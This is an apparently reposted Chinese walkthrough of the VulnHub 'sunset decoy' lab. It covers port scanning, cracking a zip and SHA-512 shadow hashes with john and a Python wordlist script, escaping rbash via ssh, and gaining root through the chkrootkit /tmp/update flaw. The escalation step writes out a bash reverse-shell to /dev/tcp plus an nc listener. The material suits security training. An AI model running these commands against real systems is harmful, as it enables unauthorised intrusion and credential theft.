vulnhub:sunset decoy

news2025/4/16 5:04:11

靶机下载地址https://www.vulnhub.com/entry/sunset-decoy,505/

渗透过程

简单信息收集

nmap 192.168.56.0/24 -Pn
# 确定靶机ip:192.168.56.121
nmap 192.168.56.121 -A -T4
# 得到开放端口22,80

在80端口得到save.zip,需要密码解压。

john破解压缩包密码

zip2john save.zip > hash.txt
john hash.txt

得到密码manuel

shadow密码破解

解压后得到/etc/文件夹,内有shadow文件,尝试破解用户密码。

root外存在用户296640a3b825115a47b68fc44501c828

296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::

密文是$6开头,所以加密方式是SHA-512

网上找到一个破解脚本。

# coding=utf-8
import crypt
​
shadow_file = "/etc/shadow"                   # 获取系统密码路径
password_file = "/usr/share/wordlists/rockyou.txt"    # 自己的密码文件,里面放的是明文密码
​
​
def get_pass(shadow_file):
    used = {}                           # key是用户,value是对应的密文
    f = open(shadow_file, "r")        # 读取系统密码文件
    userline = f.readlines()            # 将该文件转换为列表格式
    f.close()
    for item in userline:                  # 遍历列表里的内容
        if len(item.split(":")[1]) > 3:    # 以":"分割,取第二个元素的长度,也就是完整密文值的长度,如果大于3,我们认定它有密码,把它取出来
            used[item.split(":")[0]] = item.split(":")[1]  # 我们将取出的密文给了相应的用户,这里的used[i.split(":")[0]]是字典的key,也就是系统中的用户名,后面的i.split(":")[1]是用户名后的加密密文
    return used
​
​
# 提取自己的密码文件中的明文密码
def look_d(password_file):
    f = open(password_file, 'r')
    mwlist = f.readlines()              # 将读取的内容转换为列表
    f.close()
    for i, item in enumerate(mwlist):
        mwlist[i] = item.strip("\n")    # 去除每一行的换行符
    return mwlist  # 返回这个列表
​
​
# 根据密文是否相同判断出对应的用户和密码
def main(user_passfile, zidian):
    used = get_pass(user_passfile)      # 获取用户和对用的加密密文
    mingwen = look_d(zidian)            # 获取所有的明文密码
    for user in used:
        passwd = used[user]             # 一次遍历每个用户的密文
        salt = "$6$" + passwd.split("$")[2]  # 获取盐值
        for passwdmw in mingwen:        # 遍历系统中的每个完整密文
            if passwd == crypt.crypt(passwdmw.rstrip(), salt):  # 如果我们猜想的密文与系统中的密文相同,输入它的用户名和密码
                print("userName:%s passWord:%s" % (user, passwdmw.rstrip()))
​
​
if __name__ == "__main__":
    main(shadow_file, password_file)

get密码:server


rbash逃逸

ssh远程登录后发现是rbash,即restricted shell,受限制的bash,体现为

  • 不能使用cd命令。

  • 不能使用>,<>,>>等重定向操作符。

  • 不能设置或取消环境变量。

rbash逃逸有很多种方式,这里测试后适用的是ssh登录时逃逸 (借助-t远程在远程机器上运行脚本)

ssh 296640a3b825115a47b68fc44501c828@192.168.56.121 -t "bash --noprofile"

# 不加载用户配置
# -t "bash --noprofile"

rbash逃逸成功后发现仍、cat、vim等命令依旧无法使用,

需要配置环境变量。

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

完美解决,get user.txt。

用户目录内容如下:

存在一个root用户创建的honeypot.decoy可执行文件,他有8个功能,其中除选项五之外都是简单易懂的功能,选择选项五后无回显,不清楚具体作用。

rbash逃逸部分参考rbash逃逸大全-先知社区 (aliyun.com)

chkrootkit提权

SV-502/目录下的logs文件中发现一个可疑点,chkrootkit,这是一个后门检测工具。

搜索发现,chkrootkit 0.49版本有漏洞。searchsploit漏洞库搜索一下,searchsploit chkrootkit,锁定到33899.txt。

了解后知道,满足两点即可利用该漏洞获取root权限:

  • 如果目标机器管理员会定期运行chkrootkit。

  • 非root用户对/tmp/目录有写权限。(可以再该目录下创建有执行权限update文件)。

此处具体提权流程如下:

  1. 在tmp目录下创建update文件,并写入反弹shell。

    touch /tmp/update
    ​
    chmod +x /tmp/update
    ​
    echo "bash -c 'exec bash -i &>/dev/tcp/ip/4444 <&1'" > /tmp/update
  2. 运行chkrootkit,首先查看是否有这个定时任务❌;想到用户目录下那个可执行文件honeypot.decoy,执行后有8个选项,其中第五个选项意味不明Launch an AV Scan.,但是根据Scan有理由怀疑该选项就是执行chkrootkit。简单测试一下,选择选项五后使用ps -aux | grep chk验证发现运行了chkrootkit✔️

   

因此,提权操作如下:

# 靶机
./honeypot.decoy
5
# 攻击机
nc -lvvp 4444

提权成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2334974.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

方案精读:71页制造企业一体化ERP系统项目实施方案【附全文阅读】

今天聊聊制造企业 ERP 系统项目实施方案。 某钾肥企业在发展中面临信息化难题,像物资编码不规范、业务手工化、财务业务脱节等 。为此,打造 “流程驱动,业务整合” 的一体化 ERP 管理平台很关键。它涵盖采购、销售、生产、运营流程,实现供应链、预算、资金、财务整…

MATLAB遇到内部问题,需要关闭,Crash Decoding : Disabled - No sandbox or build area path

1.故障界面 MATLAB运行时突然中断&#xff0c;停止运行。故障界面如图&#xff1a; MATLAB Log File: C:\Users\wei\AppData\Local\Temp\matlab_crash_dump.21720-1 ------------------------------------------------ MATLAB Log File -----------------------------------…

【Redis】Redis C++使用

一、Redis的自定义网络协议 1.1 为什么可以编写出一个自定义的Redis客户端 为什么我们可以编写出一个自定义的Redis客户端&#xff1f;因为Redis公开了自己的自定义协议。而对于一些其他软件的客户端&#xff0c;我们无法编写出一个自定义的Redis客户端&#xff0c;因为他们没…

每日一题(小白)暴力娱乐篇19

样例&#xff1a; 6 1 1 4 5 1 4 输出&#xff1a; 56 66 52 44 54 64 分析题意可以得知&#xff0c;就是接收一串数字&#xff0c;将数字按照下标每次向右移动一位&#xff08;末尾循环到第一位&#xff09;&#xff0c;每次移动玩计算一下下标和数字的乘积且累加。 ①接收…

25级总分413数学一142专业124东南大学820考研经验电子信息通信工程,真题,大纲,参考书。

我是南京理工大学的本科生&#xff0c;25 考研一战东大&#xff0c;政治 69&#xff0c;英一 78&#xff0c;数一 142&#xff0c;专业课&#xff08;820&#xff09;124&#xff0c;总分 413。我从 3 月正式开始备考&#xff0c;专业课跟着无线电论坛jenny 老师进行学习&#…

【数据结构_6上篇】有关链表的oj题

import java.util.*;/* public class ListNode {int val;ListNode next null;ListNode(int val) {this.val val;} }*/ public class Partition {public ListNode partition(ListNode pHead, int x) {// write code here//1.首先要判断链表是否为空的情况if(pHead null){retu…

【QT】QWidget 概述与核心属性(API)

&#x1f308; 个人主页&#xff1a;Zfox_ &#x1f525; 系列专栏&#xff1a;Qt 目录 一&#xff1a;&#x1f525; 控件概述 &#x1f98b; 控件体系的发展阶段 二&#xff1a;&#x1f525; QWidget 核心属性 &#x1f98b; 核心属性概览&#x1f98b; 用件可用&#xff08…

微服务篇——SpringCloud

服务注册 Spring Cloud5大组件有哪些&#xff1f; 服务注册和发现是什么意思&#xff1f;Spring Cloud如何实现服务注册发现&#xff1f; nacos与eureka的区别 负载均衡 如何实现负载均衡&#xff1f; Ribbon负载均衡的策略有哪些&#xff1f; 如何自定义负载均衡的策略&…

如何使用PyCharm自动化测试

如何使用PyCharm自动化测试 1.打开PyCharm右击文件&#xff0c;点击新建项目 按照如图配置&#xff0c;然后点击创建 2.创建好后&#xff0c;点击文件&#xff0c;然后点击设置 按照如图步骤&#xff0c;查看selenium和webdriver-manager是否存在 3.以上都完成后按照如图创…

记一次某网络安全比赛三阶段webserver应急响应解题过程

0X01 任务说明 0X02 靶机介绍 Webserver&#xff08;Web服务器&#xff09;是一种软件或硬件设备&#xff0c;用于接收、处理并响应来自客户端&#xff08;如浏览器&#xff09;的HTTP请求&#xff0c;提供网页、图片、视频等静态或动态内容&#xff0c;是互联网基础设施的核心…

复现QGIS-MCP教程

由于Claude国内下载不了尝试使用Cursor 下载安装Cursor Cursor - The AI Code Editor 本示例安装的是0.46版本 UV安装 简介 安装 安装成功 配置环境变量 验证 下载代码 git clone gitgithub.com:jjsantos01/qgis_mcp.git QGIS插件安装 文件拷贝 您需要将 qgis_mcp_plu…

docker部署certimateSSL证书管理自动续签

开源certimate项目地址&#xff1a;https://github.com/usual2970/certimate 官方文档地址&#xff1a;https://docs.certimate.me/docs/introduction 与certbot对比 维度CertbotCertimate安装方式通过包管理器&#xff08;如apt/yum&#xff09;安装支持二进制文件、Docker…

R语言——直方图

参考资料&#xff1a;学习R 如果我们要研究一个连续变量的分布&#xff0c;直方图是最佳的选择。 1、base绘图 在base中可以使用hist函数绘制直方图&#xff0c;与plot函数一样&#xff0c;它没有data参数&#xff0c;须把数据框置于with中。 data(obama_vs_mccain,package&q…

第4节:Python编程基础 - Python语法快速回顾

1. Python简介与环境配置 Python是一种高级、解释型、通用的编程语言&#xff0c;由Guido van Rossum于1991年首次发布。 它以简洁明了的语法和强大的功能而闻名&#xff0c;广泛应用于Web开发、数据分析、人工智能、科学计算等领域。 1.1 Python的特点 简单易学&#xff1a;…

十四、C++速通秘籍—函数式编程

目录 上一章节&#xff1a; 一、引言 一、函数式编程基础 三、Lambda 表达式 作用&#xff1a; Lambda 表达式捕获值的方式&#xff1a; 注意&#xff1a; 四、函数对象 函数对象与普通函数对比&#xff1a; 五、函数适配器 1、适配普通函数 2、适配 Lambda 表达式 …

博物馆小程序怎么做?从0到1打造数字化文化窗口

博物馆小程序怎么做&#xff1f;从0到1打造数字化文化窗口 一、行业痛点&#xff1a;传统博物馆的数字化困局 在数字化浪潮下&#xff0c;传统博物馆普遍面临三大挑战&#xff1a; ​​客流受限​​&#xff1a;线下接待能力有限&#xff0c;难以触达更广泛人群 ​​互动单一…

1.5-APP的架构\微信小程序的架构

1.5-APP的架构\微信小程序的架构 APP的三种开发架构&#xff1a; 原生态APP类型 APP-开发架构-原生态-IDEA 演示&#xff1a;remusic项目源码 NP管理器&#xff1a; http://normalplayer.top/ HttpCanary&#xff1a;https://github.com/mingww64/HttpCanary-SSL-Magisk 安全影…

【服务器端表单字符验证】

文章目录 一、实验目的二、核心代码实现三、调试关键问题四、总结 一、实验目的 掌握JSP表单验证在服务器端的实现技术&#xff0c;实现对用户输入字符的非空及长度为5的验证&#xff0c;返回对应提示信息并优化用户交互。 二、核心代码实现 前端表单 <form action"…

【玩转全栈】—— Django 连接 vue3 保姆级教程,前后端分离式项目2025年4月最新!!!

本文基于之前的一个旅游网站&#xff0c;实现 Django 连接 vue3&#xff0c;使 vue3 能携带 CSRF Token 发送 axios 请求给后端&#xff0c;后端再响应数据给前端。想要源码直接滑倒底部。 目录 实现效果 解决跨域 获取 csrf-token 什么是 csrf-token &#xff1f; CSRF攻击的…

数据库实验:分组查询与聚集函数的使用

目录 引言一、GROUP BY核心规则与常见错误二、高级分组选项&#xff1a;ROLLUP、CUBE与GROUPING SETS三、窗口函数&#xff1a;在原始行中显示分组聚合结果四、UNION ALL合并结果集&#xff1a;解决冗余查询问题五、实验体会 结语 &#xff08;附上实验中表格的信息&#xff09…